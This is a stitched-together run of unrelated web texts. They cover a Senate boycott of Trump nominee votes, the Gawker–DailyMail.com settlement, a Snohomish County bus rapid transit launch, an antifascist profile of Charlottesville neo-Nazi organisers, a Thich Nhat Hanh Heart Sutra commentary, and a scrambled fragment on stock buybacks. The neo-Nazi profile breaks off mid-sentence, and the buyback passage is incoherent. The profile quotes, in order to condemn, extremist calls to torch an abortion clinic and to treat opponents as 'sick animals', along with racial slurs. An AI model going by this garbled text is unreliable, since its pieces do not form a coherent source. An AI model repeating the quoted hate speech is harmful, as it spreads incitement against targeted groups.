Powerless to stop the confirmation of President Donald Trump’s Cabinet nominees and failing to claim a scalp so far, Democrats essentially picked up their ball and went home Tuesday.
Senate Democrats boycotted committee meetings where votes were supposed to be held on the nominations of Steve Mnuchin for treasury secretary and Tom Price to run the Department of Health and Human Services. Since at least one Democrat must be present for committee votes to take place, they had to be postponed.
“I’m very disappointed that they treated the committee that way, and me, personally, that way.”
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Although there was no boycott at the Senate Judiciary Committee, the Democrats also forced a delay in the confirmation vote of Sen. Jeff Sessions (R-Ala.) to be attorney general by using a Senate rule that discourages committee meetings later in the day. Committee Chairman Charles Grassley (R-Iowa) said the committee would reconvene Wednesday at 10:30 a.m., with an expected vote sometime between 11 a.m. and noon.
“I’m very disappointed that they treated the committee that way, and me, personally, that way,” Senate Finance Committee Chairman Orrin Hatch (R-Utah) told CNN. “At least call me and say they can’t do it … The reason they didn’t call me is they have to feel ashamed.”
John Malcolm, a former deputy assistant attorney general who now serves as director of The Heritage Foundation’s Edwin Meese III Center for Legal and Judicial Studies, said the moves are unprecedented at the federal level. He said it calls to mind efforts by Democratic legislators in Wisconsin several years ago to block legislation affecting unions. Democrats literally fled the state, out of reach of state troopers, to keep the vote from happening.
In previous times, Senate Democrats would have had an enormous bargaining chip to win concessions or block nominees — the filibuster, which requires 60 votes to cut off debate. But former Senate leader Harry Reid, a Nevada Democrat who retired after the 2016 election, eliminated the filibuster for most appointments.
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Now, gamesmanship is all the party has left.
“These are childish antics,” Malcolm told LifeZette.
Malcolm said slow-walking the Sessions vote, in particular, is irresponsible given the importance of the agency.
“They’re being obstructionist … They don’t want Jeff Sessions there, so they’re scoring political points with their constituents and denying the department of political leadership,” he said.
Grassroots activists urged Americans to call their senators. William Gheen, founder of the Americans for Legal Immigration PAC, said supporters of Sessions should not become complacent.
“That’s a very dangerous way to think,” he said.
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Gheen blasted Senate Democrats.
“They’re making it very clear they’re willing to put the health and safety of America at risk for their socialist agenda,” he said.
Gheen said he worries that Senate Republicans who oppose Trump and Sessions on immigration policy, like John McCain (R-Ariz.) and Lindsey Graham (R-S.C.), may flip on the nomination if Democrats manage to draw it out long enough.
Graham gave no indication on Tuesday that he is wavering, however.
“Jeff will follow the law no matter what his policy opinions are,” he said at the committee hearing. “I have no doubt about that … He is a good, decent man, who will follow the law as he sees it, who will try to take the country down a different road than President Obama and his attorney general. And that’s what the whole election about. You can’t have it both ways.”
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Grassley said senators know firsthand that Sessions is a man of man of integrity who will enforce laws, even if he voted against them as senator.
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“Because we know him to be a man of his word, we know that he will uphold all laws equally without regard to person, just as he pledged,” he said.
Democrats on the committee expressed doubt about that, though. Sen. Dianne Feinstein, a Californian who is the ranking Democrat on the committee, tried to make an issue of Trump’s executive order restricting access to the United States by refugees and travelers from seven terrorism-compromised countries.
Feinstein noted that Sessions was one of four senators who voted against a resolution in the committee in 2015 expressing opposition to a shutdown on Muslim immigration that Trump had proposed on the campaign trail. She said the country could not afford an attorney general who would accommodate Trump’s “broad and destructive” executive orders.
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“If past is prologue to the future, it’s not difficult to assess that he will,” she said.
Trump did win a couple of victories in the Senate on Tuesday. Senators voted 93-6 for Elaine Chao to be secretary of transportation. Five Democrats and Bernie Sanders (I-Vt.) voted “no.” Senate Majority Leader Mitch McConnell, a Kentucky Republican who is married to Chao, voted “present.”
The Senate Committee on Health, Education, Labor and Pensions, by a 12-11 party-line vote, sent the nomination of Betsy DeVos for education secretary to the full Senate.Gawker Media's namesake website has been shuttered, but the company is still putting out fires its journalism started.
Wednesday, Judge Stuart M. Bernstein of the U.S. Bankruptcy Court for the Southern District of New York in Manhattan approved a settlement between Gawker's bankruptcy estate and DailyMail.com, the website of a prominent British tabloid.
No money will change hands in the settlement: instead, Gawker has appended a statement from DailyMail.com to the bottom of a story written for Gawker.com in March 2015 by James King, a former DailyMail.com freelancer who alleged that the website fabricated stories and stole copyrighted material from other outlets. Gawker has also removed DailyMail.com's logo from the header image atop the story.
Both Gawker and DailyMail.com said in the settlement that they believed they would have won the case at trial and neither side admitted wrongdoing.
"I would have loved to have taken it to the absolute limit because there's no way we would have lost," King said in a phone interview, adding that he stands by his story. "But Gawker was in a tough spot."
DailyMail.com sued Gawker for defamation in New York state court in September 2015. The two parties agreed to settlement terms in November, more than four months after Gawker filed for Chapter 11, itself the product of invasion of privacy litigation between the company and former professional wrestler Hulk Hogan.
Facing Hogan's $140 million victory in Florida state court and a host of defamation suits, Gawker and Univision Communications Inc. - which purchased most of its blog portfolio at auction - deleted numerous posts that were the subjects of lawsuits. Gawker has also moved swiftly to settle with other aggrieved parties including former professional baseball pitcher Mitch Williams, freelance writer Ashley Terrill and scientist Shiva Ayyadurai.
Yet the King story remains on Gawker.com.
"I consider it a victory," King said.
In the two-page statement now attached to the story, DailyMail.com defended its credibility as a news source and refuted King's claims that the website deliberately published falsehoods and failed to properly link stories from other publications.
"DailyMail.com is the world's biggest news site because it takes its journalism very seriously. It receives 21.2 million visits a day from 13.9 million people... because they have come to trust and love DailyMail.com and MailOnline.com as their go-to site for daily news," the company said. "It is also the site that every major newsroom in the U.K. and U.S. follows obsessively because of our unrivaled record of posting both exclusive and breaking news stories. We will continue to let that journalistic record speak for itself."
DailyMail.com also alleged in the statement that King threatened a female editor with violence and that the Washington Post rejected the story Gawker ultimately published because of its inaccuracies.
The alleged threat of violence was actually a sarcastic Facebook post King made while stuck in an elevator with several bags of garbage, he said. King said that he did shop the story to the Post, but that the newspaper rejected the piece over fear of possible litigation.
"They make a lot of claims about me that are very similar to how they conduct themselves journalistically," King said of DailyMail.com. "At the end of the day, if all they want to do is trash me, then trash me.
"Go ahead."Community Transit debuts 'Swift' line
Swift buses will operate on a 17-mile corridor in Snohomish County between Everett Station and the Aurora Village Transit Center in Shoreline, primarily along Highway 99. (Community Transit photo) Swift buses will operate on a 17-mile corridor in Snohomish County between Everett Station and the Aurora Village Transit Center in Shoreline, primarily along Highway 99. (Community Transit photo) Photo: / Photo: / Image 1 of / 1 Caption Close Community Transit debuts 'Swift' line 1 / 1 Back to Gallery
When Community Transit's new Swift Bus Rapid Transit service debuts this weekend, it will be the first Bus Rapid Transit line in Washington state and at 17 miles, one of the longest in the country.
"More than 18,000 people have come out to check out the buses. There has been a lot of buzz," said Martin Munguia, a spokesman for Community Transit in Snohomish County.
So why do they call it "Swift?" During weekdays, Swift buses will run every 10 minutes from 12 stations between Everett and Shoreline along the State Route 99 corridor, each one to two miles apart.
BRT differs from normal bus service in that it aims to run with the frequency and consistency of light rail. For seven miles of the Swift line, buses will run in dedicated lanes. They'll get signal priority along much of the route, meaning less interruptions between stops. Passengers buy tickets from vending machines at the station before the bus arrives, which saves time when boarding.
The Swift buses have three entrances, which are nearly level with an elevated curb so passengers can quickly board and disembark, and the bus can be off to the next station in 15 seconds or less.
Since the buses pull in and out faster, and have fewer stops, that means more convenience and reliability for residents, shoppers and workers along the busy corridor. Normal bus service hits about 50 stops through the corridor.
"It's a way of using buses and the infrastructure around them a little bit differently than the traditional bus," said Munguia, whose agency operates 33 local and 31 commuter bus routes in Snohomish County and carries 57 percent of all Snohomish County-Seattle commuters to work and back.
The 62-feet articulated, hybrid New Flyer buses even look a little like light rail vehicles because they're taller. They can seat 43 passengers and have standing room for up to 100. Community Transit has rolled out the buses for demonstrations at several public events and has been conducting lots of outreach to prepare riders.
Swift service will begin Sunday with a public event from 2 p.m. to 4 p.m. at the Crossroads Swift Station at Highway 99 and 196th Street Southwest in Lynnwood. Rides will be free until midnight.
Regular Swift service will start at 5 a.m. on Monday. Buses run 10 minutes between 5 a.m. and 7 p.m., and every20 minutes on nights and weekends. Fares are $1.50 for adults, $1 for youth and 50 cents for seniors and disabled passengers, Munguia said. For more information, check out the Web site.
Seattle Transit Blog took readers in a preview ride in this story, which said Swift can travel the full corridor in 40 to 50 minutes. A trip on regular service, which requires a transfer at Everett city limits, can take 75 minutes during off-peak hours, according to the story.
Swift buses will sail from Everett Station in downtown Everett through Lynnwood and Edmonds before ending at the Aurora Village Transit Center in Shoreline, where riders can connect with King County Metro.
The stations are larger than the standard bus shelter and have a distinct roadside marker to make them stand out along the corridor. The stations are well-lit and designed with translucent weather barriers that are graffiti-resistant, according to Community Transit's Web site.
Riders are encouraged to obtain the new ORCA smart card, which is accepted by seven transit agencies in King, Pierce, Snohomish and Kitsap Counties. ORCA, which allows customers to add money to an account, will replace most paper transfer slips after Jan. 1. (ORCA cards are free to obtain until February, when a $5 service charge will be imposed).
Swift bus "ambassadors" will be on baord buses to answer questions and check for proof of payment. The citation for fare evasion is $124.
Some cities such as Miama and Pittsburgh have dedicated right-of-way for BRT lines. Swift buses mostly will use "Business Access and Transit" lanes on the right, which other drivers can't use unless they're turning right. They'll drive in the righthand lane through Everett, although the city could decide to install transit lanes in the future, Munguia said.
There are 20 BRT systems around the country, including a line in Salem, Ore, and more are likely to follow since BRT is much cheaper than light rail to build. In a 2004 report, the Federal Transit Administration said ridership tends to grow 5 to 25 percent in corridors with new BRT service. Many of those gains were from customers who usually drove or walked because normal bus service was too infrequent. Community Transit is projecting a 25-increase in ridership through the corridor.
Next year, King County Metro Transit plans to unveil its own BRT system with RapidRide, which will provide similar bus-every-10-minute service on six routes, starting with a route between Federal Way and Tukwila. RapidRide was part of the "Transit Now" package that voters approved in 2006.
Transit Construction on the Swift stations and the purchase of the Swift fleet cost about $29 million. About $15 million came from state and federal grants, and a partnership agreement with the City of Everett, which operates Everett Transit, Munguia said.
The Swift bus line will cost about $5 million per year to operate, but Community Transit will pay only about $450,000. State and federal grants and the partnership with Everett through the first three years.
"We feel very proud about being innovative," Munguia said. The agency has a $111 million budget and 690 employees, serves 19 cities outside of Everett in Snohomish County.On Saturday, May 13th, a coalition of neo-Nazi groups organized a daytime march in Charlottesville, VA, which essentially was a protest of a local cultural festival, and were quickly rebuffed by community members. Then later in the evening, in a move that for many brought back memories of the Ku Klux Klan, the same group organized a torch-lit rally. The neo-Nazis gathered in support of a statue of Confederate general Robert E. Lee that is slated to be removed by the city. During the day, dozens of Alt-Right members marched and scuffles broke out with counter-demonstrators, although no arrests were made. Later that evening, over 100 fascists held Tiki torches and took photos of themselves before their gathering was broken up by police as counter-demonstrators arrived after about 10 minutes. The rallies were not announced ahead of time and were organized through internal white nationalist, neo-Nazi, and Alt-Right networks, ostensibly in order to avoid confrontations with counter-demonstrators. The neo-Nazi demonstrations did not pull from local people, but instead from white supremacists across the US being brought in, all for the purpose of creating a media spectacle.
Three of the leading neo-Nazis who helped organize and attended the Charlottesville, VA rally. On the left, Mike Peinovich and Matthew Heimbach give the “OK” hand sign, popular among the Alt-Right.
The next night, a much larger group, over 250 people of all colors, mobilized in front of the statue with candles for a demonstration against white supremacy and fascism. Several Alt-Right trolls arrived on the scene to livestream and police reportedly made three arrests.
The actions by the neo-Nazis have led many politicians, media pundits, and personalities on social media to both condemn the events and mock everything from the Alt-Right’s Tiki torches to Richard Spencer’s “snug”-fitting coat. At the same time, hardly anyone in the media has offered much analysis and information on these groups, who they are, and why they need to be confronted. For the media, the Alt-Right isn’t a danger–like Trump–it’s a godsend since it gets clicks and viewers, which in turn sells advertising. If the centrist and liberal media is good at one thing, it’s giving a massive platform to the Alt-Right, which has helped mainstream its white supremacist and fascist ideas while supposedly mocking it. “Thank god for fascism,” liberals mutter, “It’s the only thing that makes us appear relevant.”
The neo-Nazi rally that happened in support of Confederate statues in the South should be seen as the threat and danger that it is. Far right and white nationalist groups across the US are putting differences aside and coming together. The rallies on Saturday were organized by a coalition of neo-Nazi groups from across the United States, the leadership of which lives largely outside of Virginia. If people are not ready to confront, out-organize, and push back against this threat, then those groups will only grow in size and continue attacking anyone who gets in their way or who is seen as an enemy to “the white race” and should not be allowed to live within the borders of their sought-after “ethno-state.”
But who are these people? Follow us as we map out their groups, their leaders, and their connections.
Richard Spencer, Rich Boy Fascist Who Gets Wealth from Parents and Cotton Farm
Richard Spencer is known for coining the term “Alt-Right” almost 10 years ago and, since then, he has become arguably the most famous neo-Nazi and white nationalist in the United States. Spencer is also the leader of the rally on Saturday, as his celebrity and media spotlight have thrust him into a leadership position among Alt-Right, neo-Nazi, and white nationalist groups.
Born in Boston to an eye doctor and a real estate businesswoman, Spencer attended both private schools and prestigious universities. After college, Spencer drifted farther to the Right, through racist ideologies such as paleoconservatism, until finally creating a new form of white nationalist ideology, the “Alternative Right.”
Neo-Nazi salutes go up in Washington, DC during a conference Spencer organized.
Spencer was thrust into the national spotlight when, in late 2016 after Trump had received an electoral victory, he organized a conference in Washington, DC and after his speech yelled, “Hail Trump! Hail our people! Hail victory!” Immediately the crowd wearing red Trump hats began to give neo-Nazi salutes. Many of the people in the audience were the same people who attended the rally that took place on Saturday.
Richard Spencer runs the National Policy Institute (NPI), which puts on conferences where a range of speakers from pseudo-academics to social media personalities discuss faux-scientific theories of how black people are genetically inferior to whites and how there are Jewish conspiracies to carry out “White genocide.” Beyond NPI, Spencer also runs a distribution company for a variety of white nationalist and Alt-Right books and publications, as well as the website AltRight.com. This website features the writings of various white nationalist authors including Brittany Pettibone, who (according to some reports) is the girlfriend of Kyle Chapman, aka, “Based Stickman” of Daly City, California (and who is currently married). Other writers for the site include Nathan Damigo, who we will discuss later.
Richard Spencer also has a lot of time to spend organizing neo-Nazi rallies–he doesn’t work; rather, he gets money from his parents and from government subsidies due to his family cotton farm. According to NY Mag:
He is also, according to a new report from Reveal, one of the absentee landlords on his family’s 5,200-acre cotton and corn farm in a poor, rural area of Louisiana. That farm is also heavily supported by the United States government; between 2008 and 2015, the operation received $2 million in federal farm subsidies.
The basis of Richard Spencer’s belief system is rooted in inequality, primarily racial inequality. In one essay for Radix, the journal of NPI, Spencer wrote:
A CENTURY AND A HALF AGO, ALEXANDER STEPHENS, VICE-PRESIDENT OF THE CONFEDERATE STATES OF AMERICA, WAS FACED WITH THE PROSPECT OF THE VICTORY OR ANNIHILATION OF HIS NATION AND FLEDGLING STATE IN WHAT IS NOW REFERRED TO AS THE AMERICAN CIVIL WAR. IN HIS GREATEST ADDRESS, “THE CORNERSTONE OF THE CONFEDERACY,” HE DID NOT SPEAK (MENDACIOUSLY) ABOUT “STATES RIGHTS” OR ANY KIND OF CONSTITUTIONAL LEGALITY. HE INSTEAD CUT TO THE HEART OF THE SOCIAL ORDER HE WAS OPPOSING. HE STRESSED THAT THE CONFEDERACY WAS BASED ON THE CONCLUSION THAT THOMAS JEFFERSON WAS WRONG; THE “CORNERSTONE” OF THE NEW STATE WAS THE “PHYSICAL, PHILOSOPHICAL, AND MORAL TRUTH” OF HUMAN INEQUALITY. OURS, TOO, SHOULD BE A DECLARATION OF DIFFERENCE AND DISTANCE—”WE HOLD THESE TRUTHS TO BE SELF-EVIDENT; THAT ALL MEN ARE CREATED UNEQUAL.” IN THE WAKE OF THE OLD WORLD, THIS WILL BE OUR PROPOSITION.
Spencer claims that there is a shared culture and even spirit that unites all white people; but speaking of inequality, few white people will ever have the wealth and privileges that Spencer has. Few will be able to travel and spend money freely because their parents are rich and the government gives them free money for their farm that they themselves don’t work on.
The kind of worldview and political system that celebrates and holds up racial, class, and gender hierarchies–fascism–is the same one that Spencer embraces and fights for. And no wonder, as such a state would not only elevate his position in the world, but protect and strengthen it.
The last time Spencer was this close to a Tiki torch, his mom told him never to lower himself by going inside a Wal-mart.
Sam Dickson, Wealthy Lawyer for the KKK Who Got Rich Off Swindling African Americans
Sam Dickson is a wealthy lawyer from Atlanta, Georgia. Dickson has made quite a name for himself over the decades representing members of the KKK and has also become wealthy by taking the hard-earned money of poor African Americans.
Sam Dickson holding megaphone, surrounded by other neo-Nazi leaders such as Richard Spencer, Nathan Damigo of Identity Evropa, and Mike Peinovich of The Right Stuff podcast network.
According to the Southern Poverty Law Center:
Since 2001, Dickson, a 59-year-old former Klan attorney and active veteran of numerous extreme-right causes and groups, has built a multi-million dollar business in the niche field of tax lien and title acquisition. His success has depended in no small part on keeping his otherwise well-known racism concealed from his targets, many of whom are poor and black. According to those who have observed and worked with Dickson, his profits have been earned through a combination of bullying, stealth, and legal pretzel-making in the arcane world of tax lien purchases, redemptions and foreclosures.
Like Spencer and most of the other neo-Nazis who we present in this overview, Dickson has led a privileged life. Ironically, Dickson became rich carrying out the same dastardly practices that neo-Nazis attribute to “the Jews” in racist caricatures.
Sam Dickson as an attorney has supported members of the KKK.
Dickson has spent most of his life in neo-Nazi circles, preaching everything from Holocaust denial to the genetic supremacy of white people. It is no wonder that now he finds himself standing side by side with Richard Spencer.
Nathan Damigo, the Private School Boy Who Became a White Supremacist in Prison After Reading David Duke
Nathan Damigo grew up in Silicon Valley in California and attended Christian private school before joining the Marines. After getting out of the military, he attacked a working-class cab driver because he thought he was of Iraqi descent.
While in prison for five years, Damigo read My Awakening by neo-Nazi and Klan leader David Duke. After getting out of prison, Damigo became interested in the Identitarian Movement and joined the National Youth Front (NYF), the youth wing of the American Freedom Party, itself formed by neo-Nazi skinheads.
Richard Spencer and Nathan Damigo (right) at the RNC in 2016
But soon Nathan rebranded NYF into Identity Evropa (IE). IE burst onto the scene in 2016, getting a barrage of national media attention as the group put up fascist full-color posters at colleges and universities across the US.
As Nathan remarked to Red Ice TV, a kind of InfoWars for neo-Nazis, he feels that Identity Evropa is “the SS of the movement,” or in other words, the Alt-Right vanguard.
Nathan Damigo shakes hands with friend Jack Palkovic of the Berkeley College Republicans. Damigo has cultivated relationships with a variety of college Republican groups and did outreach for IE at various Republican-organized Milo Yiannopoulos events.
In 2017, Damigo, who currently lives in Northern California, rose into the national spotlight after he punched a much smaller counter-protester at a Alt-Right organized pro-Trump rally in Berkeley, CA before running quickly away, as shown in what became a viral video.
Other neo-Nazi groups have alleged that Identity Evropa is directed and controlled by Richard Spencer himself.
Matthew Heimbach, from Wealthy Suburb to Neo-Nazi Leader of the “Nationalist Front”
Matthew Heimbach grew up in the wealthy suburb of Poolesville, Maryland, son to two history teachers who now refuse to speak to him and have not even seen his young baby.
Matthew Heimbach with other neo-Nazis in front of a giant burning swastika.
In college, Heimbach, like Spencer, moved from paleoconservatism into white nationalism and has since moved on to full-on “National Socialism” and neo-Nazism. Heimbach has also created a kind of neo-Nazi “super-group” by morphing both his own group, the Traditionalist Worker Party (TWP), with the National Socialist Movement (NSM), which has become the “Nationalist Front.”‘
In 2016, Heimbach gained some national fame for assaulting an African American protester at a Kentucky Trump rally. The young woman also claims she was called a “nigger” and a “cunt” by Heimbach and members of the TWP. Heimbach is now counter-suing, saying that Donald Trump pushed him to violence. Heimbach has written several essays that call for violently killing opponents of neo-Nazism and sending his enemies to camps to be “re-educated.”
He wrote, in an essay entitled I Hate Freedom:
HOMOSEXUALITY, SEXUAL PERVERSION, RACE MIXING, ABORTION, AND ALL OTHER SORTS OF “TOLERANCE” ALL LAND AT THE FEET OF FREEDOM. THAT DOESN’T SOUND LIKE A VERY GOOD THING FOR THE SURVIVAL OF OUR FOLK, BUT MAYBE THAT’S JUST ME. AMERICANS ARE FAR TOO SQUEAMISH TO ADMIT THAT SOMETIMES THERE ARE SOME THINGS THAT JUST NEED A GOOD OL’ FASHIONED GOVERNMENT BOOT HEEL TO STOMP OUT. WHILE WE TOLERATE HOMESCHOOLERS AND ORGANIC FARMERS BEING ARRESTED AND HARASSED BY THE FEDERAL AUTHORITIES, PEOPLE RUN IN FEAR AT THE IDEA OF BREAKING UP A HOMOSEXUAL MARRIAGE CEREMONY, TORCHING AN ABORTION CLINIC, OR DOING ANY ACTION THAT BENEFITS THE OVERALL HEALTH AND CULTURE OF THEIR PEOPLE. RABID DOGS ARE PUT DOWN, NOT ALLOWED AROUND THE FAMILY KIDS. OUR ENEMIES ARE SICK ANIMALS AND WE NEED TO TREAT THEM AS SUCH.
In early April, Heimbach and other TWP members showed up to provide security for Richard Spencer while he did a talk at the Auburn campus in Alabama. When the talk ended, students began to chase the neo-Nazis. At one point, Heimbach and his minions turned and tried to rush the students while screaming “Sieg Hail!” They were quickly rebuffed and several were beaten as Richard Spencer and others were taken to safety under a police escort.
For years Heimbach and Spencer have been at odds, largely because Spencer thinks that Heimbach is stupid and makes even him look bad; but now, they openly work together.
The National Socialist Movement (NSM) is another neo-Nazi group that is part of the “Nationalist Front,” which Heimbach now leads.
In late April, Heimbach and other neo-Nazi leaders, including Mike Peinovich (who we will discuss next), held a rally in Pikeville, Kentucky in an attempt to recruit poor and working-class white people to their neo-Nazi cause. The rally was a disaster and many locals joined the antifascist protest. In the neo-Nazi demonstration, people openly showed off their swastika tattoos and also pointed at people of color while making motions of slitting their throats. During the rally, the crowd chanted “Heil Heimbach” while giving the neo-Nazi salute.
Chants of "Heil Heimbach" from Hitler loving Nazi saluters in #Pikeville
These were the same Nazis protecting Richard Spencer in #Auburn https://t.co/oaokljQ6Of — New York City Antifa (@NYCAntifa) April 29, 2017
A journalist asked Heimbach if he thought that Hitler was a good person and that interracial couples should be placed into “re-education camps.’ To both questions, Heimbach stated, “Yes.”
Mike Peinovich, the Tech Bro Neo-Nazi Podcaster Ashamed of His Jewish Ex-Wife
Mike Peinovich, who resides in New York, is a leader within The Right Stuff (TRS) neo-Nazi podcast network and has produced his own podcasts with several other Alt-Right personalities. Under Peinovich’s leadership, the show moved to openly use racial slurs and horrific Holocaust references, such as “Put ’em in the Oven.”
Under Peinovich, TRS also began to promote openly genocidal and exterminationist ideas, especially regarding African Americans and Jewish people.
Mike Peinovich with his former wife, who is Jewish. Peinovich pushed some of the most violent, openly neo-Nazi, and pro-genocide content found among the Alt-Right.
After a round of infighting with other online neo-Nazi forums, however, all of the show’s leadership had their personal information reviewed. Mike “Enoch” suddenly became known by his real name, Mike Peinovich, and was exposed to be someone who worked in the tech sector and, surprisingly, had a Jewish wife who had even come on Mike’s podcasts.
Mike Peinovich gives a neo-Nazi salute.
After it came out that Peinovich was a full on neo-Nazi, he divorced his wife and came out more about his racist activism. Soon after, Peinovich was quickly recruited by Richard Spencer for more aggressive street action and public speaking events.
Why We Need to Oppose these Groups
To say that these people are neo-Nazis is not sensational hyperbole. They openly talk about genocide, about the need to sterilize black people, and the need to “ethnically cleanse” the US. They say that queer and trans people, those in racially mixed relationships, and anyone to the Left of themselves needs to be put into “re-education camps.”
The liberals |
nonbeing…
—The Heart Sutra (Thich Nhat Hanh translation)
I live in Plum Village, in the Dordogne region of southwest France, an area known for its sunflowers. But people who come to Plum Village in April do not see any sunflowers. They hear people saying that there are many sunflowers around, but they cannot see them anywhere. However, if you ask the farmers in the region, they will tell you that they can see the sunflowers very well, because they have already sown the sunflower seeds. They have ploughed the earth, sown the seeds, and spread manure. They know that there only needs to be one more condition for the sunflowers to manifest. That final condition is warmth. As the weather begins to warm up, the sunflower seeds will sprout, and, if the weather continues to be warm in June or July, the sunflowers will bloom.
So the farmers can see things that the visitor cannot yet see. We say that there isn’t a sunflower here because we cannot see all the latent causes and conditions lying in wait. We have the tendency to think that as long as we can’t see the sunflowers, they don’t exist, and that once we can see the sunflowers, they suddenly do exist.
We shouldn’t wait until we see big yellow flowers blooming in the fields to say that the sunflowers are there. They are there, just hidden.
The words “do not exist” are not really correct, but the words “do exist” are not correct either. When something has not yet manifested, we tend to think that it’s in the realm of nonbeing, and when it manifests we say that it’s in the realm of being. But the two categories of being and nonbeing do not correspond to reality. That is why we shouldn’t wait until we see big yellow flowers blooming in the fields to say that the sunflowers are there. They are there, just hidden, and whether or not we see them is only a matter of time and latent conditions.
Our body is also a conditioned thing. It is a manifestation, and there are causes and conditions that need to come together for it to manifest. Like the sunflowers, if one of these elements is not yet there, the body will not yet manifest. The Buddha teaches very clearly that when something manifests it does not come from anywhere, and when it no longer manifests it does not go anywhere. It is not born. It does not die. It does not pass from the realm of being into the realm of nonbeing.
The Ultimate and the Relative
We can speak of two levels of truth: relative (or conventional) truth and ultimate (or absolute) truth.
Ideas of birth and death, being and nonbeing, above and below, coming and going, sameness and difference, defilement and purity, increasing and decreasing, can all be called conventional truths. They are concepts that we use in daily life, and they are useful in the historical dimension, at the level of conventional truth. If we do not have a birth certificate proving our date of birth, how can we get a passport or an identity card?
So birth and death are important. Above and below are important. Left and right are important. Politically you have to know whether you are on the right or on the left. If you are following your GPS, you need to know that left is not right and right is not left.
At the level of conventional truth, these pairs of opposites are everywhere. There is “you” and “me,” there is “father” and “son.” Father and son are not each other; they are distinct from each other. People are different from animals. Animals are different from plants. Plants are different from minerals. At the level of conventional truth there is discrimination and separation. Things are outside of each other. One thing is not another.
This is the realm of the ultimate, where everything is in everything else.
But when we observe more closely, we see something different. We see the ultimate truth that things are really inside of each other. We think that father and son are two different people, but there is really no boundary between them. The father is the continuation of the son into the past, and the son is the continuation of the father into the future. This is the realm of the ultimate, where everything is in everything else. Everything interpenetrates, so the notions of inside and outside do not apply.
The same is true for the notions of above and below. If we are standing in front of an elevator, we need to know if we are going up or down. We need the notions of above and below in order to know whether we will stay on the tenth floor or go to the ground floor. The ground floor must be below and the tenth floor must be above.
But if we ask people in Japan sitting on the other side of the planet, they wouldn’t agree. If they could see us in the elevator going “up,” they would say we are going down. So the notions of above and below are only relatively true. In the ultimate truth there is no below, there is no above. The same is true for all other pairs of opposites: coming and going, birth and death, being and nonbeing.
Finding a Middle Way
Birth and death, being and nonbeing, coming and going, same and different—these cannot be applied to the ultimate truth of any phenomenon. In order to touch the true nature of all phenomena, we need to find a middle way between all these pairs of opposites.
When we encounter polarities, or pairs of opposites, we have the tendency to believe that one must be right and the other wrong. For example, we think that either everything exists, everything is real, or that nothing exists, nothing is real. These are the two extremes of eternalism and nihilism. Either we believe that we have an eternal soul which will live on forever, or we believe that we are just a meaningless collection of atoms and that when we die, we will be extinguished for ever and nothing will be left.
If we are wise, the Heart Sutra can help us to find the middle way between these extremes. This middle way between being and nonbeing is a state of coolness, peace, and nonfear that can be experienced in this very life, with this body and with our five skandhas. It is nirvana.
We waste a lot of time trying to prove whether something exists or doesn’t exist.
The traditional Chinese and Sanskrit versions of the sutra do not mention “no being and no nonbeing.” Traditionally, there are just three pairs of negations in the sutra: “no birth and no death,” “no defilement and no purity,” and “no increasing and no decreasing.” But in order to touch the ultimate truth, we need to transcend all pairs of opposites––all duality.
I have added “no being” and “no nonbeing” in this new translation so that people do not fall into the trap of thinking that emptiness means nonbeing or nonexistence. The understanding of “no being and no nonbeing” helps us to understand “no birth and no death.” It helps us avoid falling into the trap of describing things as either existent or non-existent.
Does God Exist?
In Western theology and philosophy we waste a lot of time trying to prove whether something exists or doesn’t exist. We are preoccupied, for example, with the question: Does God exist? For over 2,000 years people have been debating this without ever coming to any satisfactory conclusion. One group says that there is God, and the other group says there is no God. But in Buddhism, for more than two thousand years, we’ve been saying that the ultimate transcends both being and nonbeing. So if God is the ultimate, then God must certainly transcend both being and nonbeing. We cannot say that God exists, nor can we say that God does not exist, because existence and non-existence are only two faces of one reality.
Interbeing means you cannot be by yourself alone; you can only inter-be.
The view of “being” is one extreme view, and the view of “nonbeing” is another extreme view. We need to transcend both these notions. The term interbeing can help. By adding the prefix “inter” to the word “being” we have a term that is no longer the opposite of nonbeing. Interbeing has no opposite, so we can make use of it to avoid falling into the trap of dualistic thinking.
The term “interbeing” still uses the word “being,” but it helps us to get out of the notion of being. So the notion of interbeing, although it is a notion, helps lead you to the ultimate truth.
Interbeing means you cannot be by yourself alone; you can only inter-be. Interbeing can connect the conventional truth and the ultimate truth, so it can lead you gradually to emptiness. Emptiness represents the ultimate truth, the true nature of reality. On this level, there is no beginning and there is no end. There is no birth and there is no death. And the notions of being and nonbeing are removed.
The two notions of being and nonbeing oppose each other, and so we have to struggle. But when we speak of the ultimate truth, we use words like “emptiness,” and emptiness when used like this also has no opposite. At first, we think emptiness is the opposite of fullness, but emptiness is fullness. You are empty of a separate self, but you are full of the cosmos. So “emptiness” is an expression that we could say is equivalent to “God.” God is the ultimate, and emptiness is the ultimate. Emptiness is the absence of notions and concepts. You cannot describe God with notions and concepts. You cannot say that God is or is not. To say that God exists is nonsense, and to say that God doesn’t exist is nonsense, because notions of being and nonbeing cannot be applied to the ultimate.
In the West, “to be or not to be” has been the question for more than two thousand years. But in Buddhism, being or nonbeing is not the question. We practice transcending the notions of being and nonbeing, and erase the boundary between being and nonbeing in order to see the true nature of reality.
When the Buddha was asked what is the “right view” to have of reality, he described it as the view that transcends being and nonbeing. This is what in Buddhism we call “right view.” So now if somebody asks you whether or not you exist, you can answer, “I am not caught in the notions of existence or non-existence, I am not caught in being or nonbeing, I can only inter-be with everything!”
Adapted from The Other Shore: A New Translation of the Heart Sutra with Commentaries, by Thich Nhat Hanh. © 2017 by Unified Buddhist Church. To be published in May by Palm Leaves Press, a division of Parallax Press.These investors believe that Trump will make these companies more profitable. They’re paying more for their stocks as a result.
So none of this has increased since Trump’s election, why the stock boom? While companies are increasingly the buyers of their own shares there are still a large number of other investors. The prices they are willing to pay determine what the buybackers can get away with. These big investors buy based on what they think the companies are worth, and that worth is rooted in profitability.
The good news for them is that the banks are literally giving the money away, comforted by recent history which proves that if they get into any trouble for bad business decisions the government will bail them out at public expense and nobody will do anything about it. It’s all a giant scam.
These companies also buy back stock with other, non-borrowed cash, and a company that doesn’t do this sees their prices grow at a much slower pace. This means that investors will sell their stocks to get into the ones doing buybacks. This would drive the non-buybacker’s price even lower, creating strong incentives to get with the program and invest in their own stocks.
Interest rates have been at that level ever since Obama took office and the stock market rose faster under him than any other president besides Bill Clinton — these facts are related.
The sellers, of course, have an interest in selling as high as they can do, so they aren’t going to turn down this boosted price. The only limitation then is how much cash the company has to spend on such buybacks, and near-zero and even negative interest rates have made it easy for companies to borrow from big banks and spend all that money on stock buybacks.
A corporation doing such a buyback has a strong incentive to pay as high a price as possible, because that drives up the worth of all of its stocks, and since it already hold lots of other stock, this higher valuation makes it even richer.
